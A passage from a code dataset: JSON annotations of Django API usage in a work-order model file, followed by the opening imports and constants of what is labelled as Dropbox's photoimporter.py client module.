133, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 133, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 134, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 135, "usage_type": "call"}, {"api_name": "django.db.models.DateField", "line_number": 140, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 140, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 141, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 142, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 146, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 146, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 148, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 152, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 152, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 153, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 154, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 158, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 158, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 159, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 160, "usage_type": "call"}, {"api_name": "django.db.models.DateField", "line_number": 164, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 164, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 165, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 166, "usage_type": "call"}, {"api_name": "django.db.models.DateField", "line_number": 170, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 170, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 171, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 172, "usage_type": "call"}, {"api_name": "django.db.models.DecimalField", "line_number": 176, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 176, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 177, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 178, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 185, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 185, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 187, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 191, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 191, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 192, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 193, "usage_type": "call"}, {"api_name": "tenant_foundation.constants.UNASSIGNED_JOB_TYPE_OF_ID", "line_number": 194, "usage_type": "name"}, {"api_name": "tenant_foundation.constants.JOB_TYPE_OF_CHOICES", "line_number": 195, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 198, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 198, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 199, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 201, "usage_type": "call"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 207, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 207, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 209, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 214, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 214, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 215, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 216, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 221, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 221, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 222, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 223, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 229, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 229, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 230, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 231, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 237, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 237, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 239, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 241, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 241, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 245, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 245, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 247, "usage_type": "call"}, {"api_name": "django_fsm.FSMField", "line_number": 257, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 258, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 259, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 269, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 269, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 270, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 271, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 275, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 275, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 276, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 277, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 284, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 284, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 285, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 286, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 291, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 291, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 292, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 293, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 297, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 297, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 298, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 299, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 303, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 303, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 304, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 305, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 309, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 309, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 310, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 311, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 315, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 315, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 316, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 317, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 321, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 321, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 322, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 323, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 332, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 332, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 333, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 334, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 338, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 338, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 339, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 340, "usage_type": "call"}, {"api_name": "tenant_foundation.constants.WORK_ORDER_PAID_TO_CHOICES", "line_number": 341, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 345, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 345, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 346, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 347, "usage_type": "call"}, {"api_name": "django.db.models.CharField", "line_number": 351, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 351, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 352, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 353, "usage_type": "call"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 359, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 360, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 361, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 364, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 365, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 365, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 368, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 369, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 370, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 373, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 374, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 374, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 377, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 378, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 379, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 382, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 383, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 383, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 386, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 387, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 388, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 391, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 392, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 392, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 395, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 396, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 397, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 400, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 401, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 401, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 404, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 405, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 406, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 409, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 410, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 410, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 413, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 414, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 415, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 418, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 419, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 419, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 422, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 423, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 424, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 427, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 428, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 428, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 431, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 432, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 433, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 436, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 437, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 437, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 440, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 441, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 442, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 445, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 446, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 446, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 449, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 450, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 451, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 454, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 455, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 455, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 458, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 459, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 460, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 463, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 464, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 464, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 467, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 468, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 469, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 472, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 473, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 473, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 476, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 477, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 478, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 481, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 482, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 482, "usage_type": "argument"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 485, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 486, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 487, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 490, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 491, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 491, "usage_type": "argument"}, {"api_name": "django.db.models.ForeignKey", "line_number": 494, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 494, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 496, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 498, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 498, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 502, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 502, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 503, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 504, "usage_type": "call"}, {"api_name": "djmoney.models.fields.MoneyField", "line_number": 509, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 510, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 511, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 514, "usage_type": "name"}, {"api_name": "djmoney.money.Money", "line_number": 515, "usage_type": "call"}, {"api_name": "shared_foundation.constants.WORKERY_APP_DEFAULT_MONEY_CURRENCY", "line_number": 515, "usage_type": "argument"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 518, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 518, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 519, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 520, "usage_type": "call"}, {"api_name": "django.core.validators.MinValueValidator", "line_number": 524, "usage_type": "call"}, {"api_name": "django.core.validators.MaxValueValidator", "line_number": 525, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 528, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 528, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 530, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 532, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 532, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 541, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 541, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 543, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 545, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 545, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 554, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 554, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 555, "usage_type": "call"}, {"api_name": "shared_foundation.models.SharedUser", "line_number": 556, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 555, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 557, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 559, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 559, "usage_type": "name"}, {"api_name": "django.db.models.GenericIPAddressField", "line_number": 563, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 563, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 564, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 565, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 569, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 569, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 570, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 571, "usage_type": "call"}, {"api_name": "django.db.models.DateTimeField", "line_number": 575, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 575, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 576, "usage_type": "call"}, {"api_name": "shared_foundation.models.SharedUser", "line_number": 577, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 576, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 578, "usage_type": "call"}, {"api_name": "django.db.models.SET_NULL", "line_number": 580, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 580, "usage_type": "name"}, {"api_name": "django.db.models.GenericIPAddressField", "line_number": 584, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 584, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 585, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 586, "usage_type": "call"}, {"api_name": "django.db.models.BooleanField", "line_number": 590, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 590, "usage_type": "name"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 591, "usage_type": "call"}, {"api_name": "django.utils.translation.ugettext_lazy", "line_number": 592, "usage_type": "call"}, {"api_name": "tenant_foundation.constants.JOB_TYPE_OF_CHOICES", "line_number": 636, "usage_type": "argument"}, {"api_name": "tenant_foundation.constants.WORK_ORDER_PAID_TO_CHOICES", "line_number": 733, "usage_type": "argument"}, {"api_name": "django.contrib.humanize.templatetags.humanize.intcomma", "line_number": 744, "usage_type": "call"}, {"api_name": "phonenumbers.format_number", "line_number": 761, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 761, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 762, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 762, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 763, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 763, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 765, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 765, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 766, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 766, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 767, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 767, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 782, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 782, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 783, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 783, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 784, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 784, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 786, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 786, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 787, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 787, "usage_type": "attribute"}, {"api_name": "phonenumbers.format_number", "line_number": 788, "usage_type": "call"}, {"api_name": "phonenumbers.PhoneNumberFormat", "line_number": 788, "usage_type": "attribute"}, {"api_name": "django.utils.text.Truncator", "line_number": 796, "usage_type": "call"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem.objects.filter", "line_number": 816, "usage_type": "call"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem.objects", "line_number": 816, "usage_type": "attribute"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem", "line_number": 816, "usage_type": "name"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit.objects.filter", "line_number": 817, "usage_type": "call"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit.objects", "line_number": 817, "usage_type": "attribute"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit", "line_number": 817, "usage_type": "name"}, {"api_name": "{'ActivitySheetItem': 'tenant_foundation.models.activity_sheet_item.ActivitySheetItem', 'WorkOrderDeposit': 'tenant_foundation.models.work_order_deposit.WorkOrderDeposit'}.objects.get", "line_number": 828, "usage_type": "call"}, {"api_name": "{'ActivitySheetItem': 'tenant_foundation.models.activity_sheet_item.ActivitySheetItem', 'WorkOrderDeposit': 'tenant_foundation.models.work_order_deposit.WorkOrderDeposit'}.objects", "line_number": 828, "usage_type": "attribute"}, {"api_name": "freezegun.freeze_time", "line_number": 860, "usage_type": "call"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem.objects.create", "line_number": 861, "usage_type": "call"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem.objects", "line_number": 861, "usage_type": "attribute"}, {"api_name": "tenant_foundation.models.activity_sheet_item.ActivitySheetItem", "line_number": 861, "usage_type": "name"}, {"api_name": "freezegun.freeze_time", "line_number": 873, "usage_type": "call"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit.objects.create", "line_number": 874, "usage_type": "call"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit.objects", "line_number": 874, "usage_type": "attribute"}, {"api_name": "tenant_foundation.models.work_order_deposit.WorkOrderDeposit", "line_number": 874, "usage_type": "name"}]} {"seq_id": "2712649161", "text": "#Embedded file name: dropbox/client/photoimporter.py\nfrom __future__ import absolute_import\nimport collections\nimport datetime\nimport errno\nimport itertools\nimport json\nimport operator\nimport pprint\nimport re\nimport struct\nimport threading\nimport time\nfrom contextlib import contextmanager\nfrom hashlib import md5\nimport arch\nimport dropbox.fsutil as fsutil\nfrom client_api.hashing import DROPBOX_MAX_BLOCK_SIZE, BetterDropboxHasher\nfrom dropbox.attrs import attr_dict_from_whitelist, Attributes, get_attr_data, unfreeze_attr_dict\nfrom dropbox.build_common import get_build_number\nfrom dropbox.camera import PhotoImportCanceled, PhotoImportDisconnected, PhotoImportSelectiveSync, PhotoImportDeviceLocked, PhotoImportExceptionBase, PhotoImportLowDropboxSpace, PhotoImportNoConnectionError, PhotoImportAlbumCreationError\nfrom dropbox.camera.util import is_apple_device\nfrom dropbox.callbacks import Observable, ObservableIterator\nfrom dropbox.debugging import easy_repr\nfrom dropbox.dbexceptions import LowDiskSpaceError\nfrom dropbox.functions import batch, handle_exceptions, safe_str, split_extension\nfrom dropbox.i18n import trans\nfrom dropbox.lock_ordering import NonRecursiveLock\nfrom dropbox.metadata.metadata import get_metadata_for_plat\nfrom dropbox.metadata.transforms import try_rotate_image_file\nfrom dropbox.native_event import AutoResetEvent\nfrom dropbox.path import ServerPath\nfrom dropbox.timehelper import tz_offset_string\nfrom dropbox.trace import TRACE, unhandled_exc_handler, report_bad_assumption, reraise_exc_handler\nIMPORT_FREE_SPACE_BUFFER = 50 * 1024 * 1024\nCU_HASH_8_BYTES = 8 * 1024\nNUM_READ_RETRIES = 10\nXATTR_EXIF_MANUFACTURER = 'exif_manufacturer'\nXATTR_EXIF_MODEL = 'exif_model'\nXATTR_EXIF_DATETIME = 'exif_datetime'\nXATTR_DEVICE_MANUFACTURER = 'device_manufacturer'\nXATTR_DEVICE_MODEL = 'device_model'\nXATTR_DEVICE_NAME = 'device_name'\nXATTR_DEVICE_UID = 'device_uid'\nXATTR_DEVICE_SERIALNUM = 'device_serialnum'\nXATTR_CLIENT_IMPORT_TIME = 